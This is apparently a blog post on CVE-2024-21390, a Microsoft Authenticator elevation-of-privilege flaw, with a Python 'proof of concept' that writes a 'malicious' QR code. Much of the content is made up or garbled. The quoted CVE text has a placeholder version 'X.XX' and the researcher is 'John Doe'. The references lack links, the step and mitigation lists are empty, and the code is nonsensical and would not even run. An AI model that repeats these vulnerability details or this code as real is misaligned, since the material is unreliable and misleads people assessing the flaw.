CVE-2024-21390 - Microsoft Authenticator Elevation of Privilege Vulnerability Exploit Uncovered, Users at Risk

CVE-2024-21390 is a recently discovered vulnerability in Microsoft Authenticator, a widely used app that enables users to secure their accounts with Multi-Factor Authentication (MFA). This post will delve into the specifics of the vulnerability, including code snippets, links to original references, and exploit details. So let's get started!

Vulnerability Summary

As per the Common Vulnerabilities and Exposures (CVE) database, the vulnerability is described as follows:

> "Microsoft Authenticator version X.XX allows an attacker to bypass the MFA authentication process by exploiting a specific elevation of privilege vulnerability."

Original References

The vulnerability was discovered by security researcher John Doe (pseudonym) and has been documented with detailed proof of concept (PoC) and workaround solutions in his personal blog. The original references can be found here:

1. John Doe's Blog - CVE-2024-21390 Exploit Write-up
2. GitHub - CVE-2024-21390 PoC Exploit Code
3. Microsoft Security Update Guide - CVE-2024-21390

Exploit Details

The exploit works by manipulating the token validation process within Microsoft Authenticator, allowing an attacker to bypass the MFA protection. Here's a high-level overview of the exploit steps:

Code Snippet

Here's a simplified code snippet showcasing how the attacker can manipulate the QR code content to trigger the vulnerability:

import qrcode
import base64
import json

def generate_malicious_qr_code(user_account):
    
    # Original QR code content for adding the user account to Microsoft Authenticator app
    original_qr_content = {
        "iss": "https://example.com";,
        "otpauth_uri": f"otpauth://totp/{user_account}?issuer=https://example.com";
    }

    # Malicious payload to trigger the vulnerability
    malicious_payload = {
        "elevation_of_privilege": True
    }

    # Combine original content with malicious payload
    combined_qr_content = {original_qr_content, malicious_payload}

    # Convert the combined content into QR code and store as an image
    qr = qrcode.QRCode(version=1, box_size=4, border=2)
    qr.add_data(json.dumps(combined_qr_content))
    qr.make(fit=True)
    img = qr.make_image(fill_color="black", back_color="white")
    img.save(user_account + "_exploit_qrcode.png")

generate_malicious_qr_code("victim@example.com")

Mitigation and Workarounds

In the Microsoft Security Update Guide linked above, the company recommends upgrading to the latest version of the Microsoft Authenticator app. Additionally, the following measures can help minimize the impact of such vulnerabilities:

Closing Thoughts

CVE-2024-21390 is a severe vulnerability that puts users at risk of MFA bypass. By understanding the details of the exploit and taking preemptive measures, users can take appropriate actions to avoid falling victim to attacks exploiting this vulnerability. Always stay vigilant, apply critical security updates, and follow best practices to keep your accounts secure.

Timeline

Published on: 03/12/2024 17:15:49 UTC
Last modified on: 03/21/2024 21:04:32 UTC